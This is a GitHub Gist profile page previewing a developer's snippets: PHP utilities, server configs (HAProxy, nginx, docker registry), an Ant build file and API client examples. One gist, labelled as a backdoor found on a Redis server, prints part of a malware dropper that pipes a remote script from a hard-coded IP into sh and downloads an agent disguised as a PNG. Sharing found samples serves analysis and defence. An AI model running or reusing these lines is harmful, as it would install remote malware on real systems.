Skip to content

Instantly share code, notes, and snippets.

View voduytuan's full-sized avatar

Vo Duy Tuan voduytuan

View GitHub Profile
@voduytuan
voduytuan / ImageResizer.php
Created May 26, 2017 07:55
Generate LQIP (Low quality image placeholder) from PHP
<?php
namespace Litpi;
define('MEMORY_TO_ALLOCATE', '100M');
/**
* Resize image
* - provide crop to square size image
* - provide 4 corner to create round corner image (advanced)
*/
@voduytuan
voduytuan / topology.md
Last active January 24, 2024 08:27
mermaidjs example

Example MermaidJs diagram

graph TD;
subgraph I [Public Internet]
IA[Webapp - app.domain];
IB[Public Website - www.domain];
IC[Restful API - api.domain];
ID[Identity Provider - id.domain];
end
@voduytuan
voduytuan / build.xml
Created September 19, 2015 05:18
Sample build.xml for apache Ant for php project
<?xml version="1.0" encoding="UTF-8"?>
<project name="Apitoy" default="full-build">
<!-- By default, we assume all tools to be on the $PATH -->
<property name="pdepend" value="/home/jenkins/vendor/bin/pdepend"/>
<property name="phpcpd" value="/home/jenkins/vendor/bin/phpcpd"/>
<property name="phpcs" value="/home/jenkins/vendor/bin/phpcs"/>
<property name="phploc" value="/home/jenkins/vendor/bin/phploc"/>
<property name="phpmd" value="/home/jenkins/vendor/bin/phpmd"/>
<property name="phpunit" value="/home/jenkins/vendor/bin/phpunit"/>
@voduytuan
voduytuan / haproxy.cfg
Created October 6, 2015 10:17
Sample pass through SSL on Haproxy
...
#create new frontend to process 443
frontend https_frontend
bind *:443
mode tcp
option tcplog
default_backend farm_docker2
@voduytuan
voduytuan / text-detector.php
Last active December 2, 2020 02:25
Text Detection with Google Cloud Vision by PHP
# use package "google/cloud-vision": "^1.2.2"
<?php
use Google\Cloud\Vision\V1\ImageAnnotatorClient;
use Google\Cloud\Vision\V1\TextAnnotation;
$imageAnnotatorClient = new ImageAnnotatorClient([
'credentials' => './service-account-key.json'
]);
@voduytuan
voduytuan / graphql-client-query-waveapps.php
Last active April 18, 2020 03:53
Query Wave GraphQL to get `businesses` with mghoneimy/php-graphql-client
<?php
use GraphQL\Client;
use GraphQL\Query;
$endpoint = 'https://gql.waveapps.com/graphql/public';
$client = new Client($endpoint, [
'Authorization' => 'Bearer <<FULL_ACCESS_TOKEN_FROM_WAVEAPPS>>'
]);
@voduytuan
voduytuan / docker-compose.yml
Created October 6, 2015 09:23
Private docker registry compose
dockerauth:
image: cesanta/docker_auth
ports:
- "5001:5001"
volumes:
- ./auth_server/config:/config:ro
- ./auth_server/log:/logs
- ./certs:/certs
command: /config/auth_config.yml
restart: always
@voduytuan
voduytuan / Circle_AA.png
Last active June 2, 2018 07:26
Backdoor found on redis server
#get from
# curl http://185.169.198.42/assets/Circle_AA.png|sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
AGENT_FILE='/tmp/Circle_MI.png'
AGENT_CONFIG='/tmp/Circle_CF.png'
ps -ef|grep $AGENT_FILE|grep -v grep
if [ $? -ne 0 ]; then
if [ -x /usr/bin/wget ] ; then
wget -q http://185.169.198.42/assets/Circle_MI.png -O $AGENT_FILE
@voduytuan
voduytuan / nginx-localhost
Created December 23, 2016 15:37
Nginx vhost configuration with forward ip (behide proxy such as haproxy) and hide sensitive data
log_format mainproxy '$http_x_forwarded_for - $remote_user [$time_local] ' '"$temp" $status $body_bytes_sent "$http_referer" ' '"$http_user_agent"' ;
server {
listen 80;
root /var/www/src;
index index.html index.htm index.php;
# Make site accessible from http://set-ip-address.xip.io
server_name localhost;
<?php
/**
* Download from: https://github.com/raulferras/PHP-po-parser/tree/master/src/Sepia
*/
include('./libs/Sepia/InterfaceHandler.php');
include('./libs/Sepia/FileHandler.php');
include('./libs/Sepia/StringHandler.php');
include('./libs/Sepia/PoParser.php');